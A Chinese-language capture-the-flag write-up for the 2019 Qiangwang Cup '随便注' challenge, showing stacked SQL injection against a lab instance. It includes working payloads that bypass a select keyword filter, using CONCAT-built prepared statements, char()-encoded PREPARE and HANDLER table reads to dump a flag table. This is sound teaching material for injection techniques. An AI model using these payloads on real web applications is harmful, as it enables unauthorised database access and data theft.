[强网杯 2019]随便注 1
进入靶场: 由题目得知是sql注入题目
注入后报错,采用order by测试:

进行联合注入

采用堆叠注入:通过 ; 注入多条SQL语句。
先通过show databases爆出数据库。

通过show tables 爆表

分别爆表:
1919810931114514
注意,表名为数字时,采用``引住
爆出flag
这时候要查询数据,需要绕过select过滤
方法一:预编译(借鉴:https://www.cnblogs.com/cmredkulaa/p/14563311.html)
构造payload
①
payload:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
构造如下:
http://85bfd07a-e8ff-4efd-bb7a-237650c1cb69.node4.buuoj.cn:81/?inject=-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

报错,考虑区分大小写
http://85bfd07a-e8ff-4efd-bb7a-237650c1cb69.node4.buuoj.cn:81/?inject=-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
成功!
②
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
其中:
拆分开来如下: PREPARE jwt from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
拿到flag!
③HANDLER 方法
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
payload构造:
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;#

拿到flag!

浙公网安备 33010602011771号